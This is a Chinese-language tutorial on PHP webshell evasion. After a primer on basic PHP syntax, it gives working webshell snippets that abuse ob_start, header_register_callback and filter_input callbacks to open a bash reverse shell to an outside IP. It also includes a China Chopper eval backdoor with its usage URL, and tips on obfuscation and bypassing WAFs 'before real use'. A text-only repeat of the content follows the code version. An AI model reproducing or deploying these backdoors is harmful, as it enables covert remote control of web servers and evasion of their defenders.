PHP_WebShell免杀基础教程(回调函数)
字数 736 2025-08-18 17:33:32

PHP WebShell免杀基础教程:回调函数技术

一、PHP基础语法速通

1. 变量声明与赋值

$variable_name = value;  // PHP变量以$开头

2. 数据类型

  • 整数(int)
  • 浮点数(float)
  • 字符串(string)
  • 布尔值(boolean)
  • 数组(array)
  • 对象(object)
  • 空值(null)

3. 字符串操作

$string1 = "Hello";
$string2 = "World";
echo $string1 . $string2;  // 输出: Hello World

4. 条件语句

if (condition) {
    // 条件为真时执行的代码
} elseif (another_condition) {
    // 如果第一个条件为假且这个条件为真时执行的代码
} else {
    // 如果上述条件都不满足时执行的代码
}

5. 循环语句

for循环

for ($i = 0; $i < 5; $i++) {
    echo "Number: $i <br>";
}

while循环

$count = 0;
while ($count < 3) {
    echo "Count: $count <br>";
    $count++;
}

foreach循环

$fruits = array("Apple", "Banana", "Orange");
foreach ($fruits as $fruit) {
    echo "$fruit <br>";
}

// 关联数组遍历
$person = array("name" => "John", "age" => 30, "city" => "New York");
foreach ($person as $key => $value) {
    echo "$key: $value <br>";
}

6. 函数定义与调用

function functionName($param1, $param2) {
    // 函数体
    return $result;
}

// 调用函数
$result = functionName($arg1, $arg2);

7. 数组操作

$array = array("apple", "banana", "orange");
echo $array[0];  // 输出: apple

// 关联数组
$assoc_array = array("name" => "John", "age" => 30);
echo $assoc_array["name"];  // 输出: John

8. 超级全局变量

  • $_GET - 获取GET参数
  • $_POST - 获取POST参数
  • $_SESSION - 会话变量
  • $_COOKIE - Cookie变量
  • $_SERVER - 服务器和执行环境信息

9. 包含文件

include 'filename.php';
require 'filename.php';  // 如果文件不存在会引发致命错误

10. 错误处理

try {
    // 可能引发异常的代码
} catch (Exception $e) {
    // 异常处理代码
}

二、回调函数免杀技术

1. ob_start回调

函数功能:输出缓冲是PHP中的一种机制,允许在将输出发送到浏览器之前捕获由PHP脚本生成的输出。

示例

<?php 
function a($b){
    exec('/bin/bash -c "bash -i >& /dev/tcp/8.8.8.8/8888 0>&1"');
}
ob_start("a");
?>

2. header_register_callback回调

函数功能:当PHP发送HTTP标头时,该回调函数将会被调用。

示例

<?php 
function a($b){ 
    exec('/bin/bash -c "bash -i >& /dev/tcp/8.8.8.8/8888 0>&1"'); 
} 
header_register_callback("a"); 
?>

3. filter_input回调

函数功能:获取输入变量并过滤它的值的函数。

反弹Shell示例

<?php 
function a($value){ 
    exec('/bin/bash -c "bash -i >& /dev/tcp/8.8.8.8/8888 0>&1"'); 
} 
filter_input(INPUT_POST, 'c', FILTER_CALLBACK, array('options' => 'a')); 
?>

中国菜刀连接示例

<?php 
function a($c){ 
    $c($_GET['d']); 
} 
filter_input(INPUT_GET,'c', FILTER_CALLBACK,array('options'=>'a')); 
?>

使用方式:

http://127.0.0.1/index.php?&c=assert&d=eval($_POST['c'])
密码为c

三、注意事项

  1. 回调函数技术已被WAF重点关注,实际应用中需要结合其他免杀技术
  2. 示例中的反弹Shell命令需要根据实际情况修改IP和端口
  3. 中国菜刀连接方式在现代环境中可能已被安全设备识别
  4. 建议在实际使用前进行充分的测试和变形

四、扩展思路

  1. 可以收集更多PHP回调函数进行测试
  2. 结合编码、混淆等技术提高免杀效果
  3. 研究WAF对回调函数的检测规则,针对性绕过
  4. 考虑使用不常见的回调函数组合
PHP WebShell免杀基础教程:回调函数技术 一、PHP基础语法速通 1. 变量声明与赋值 2. 数据类型 整数(int) 浮点数(float) 字符串(string) 布尔值(boolean) 数组(array) 对象(object) 空值(null) 3. 字符串操作 4. 条件语句 5. 循环语句 for循环 while循环 foreach循环 6. 函数定义与调用 7. 数组操作 8. 超级全局变量 $_GET - 获取GET参数 $_POST - 获取POST参数 $_SESSION - 会话变量 $_COOKIE - Cookie变量 $_SERVER - 服务器和执行环境信息 9. 包含文件 10. 错误处理 二、回调函数免杀技术 1. ob_ start回调 函数功能 :输出缓冲是PHP中的一种机制,允许在将输出发送到浏览器之前捕获由PHP脚本生成的输出。 示例 : 2. header_ register_ callback回调 函数功能 :当PHP发送HTTP标头时,该回调函数将会被调用。 示例 : 3. filter_ input回调 函数功能 :获取输入变量并过滤它的值的函数。 反弹Shell示例 : 中国菜刀连接示例 : 使用方式: 三、注意事项 回调函数技术已被WAF重点关注,实际应用中需要结合其他免杀技术 示例中的反弹Shell命令需要根据实际情况修改IP和端口 中国菜刀连接方式在现代环境中可能已被安全设备识别 建议在实际使用前进行充分的测试和变形 四、扩展思路 可以收集更多PHP回调函数进行测试 结合编码、混淆等技术提高免杀效果 研究WAF对回调函数的检测规则,针对性绕过 考虑使用不常见的回调函数组合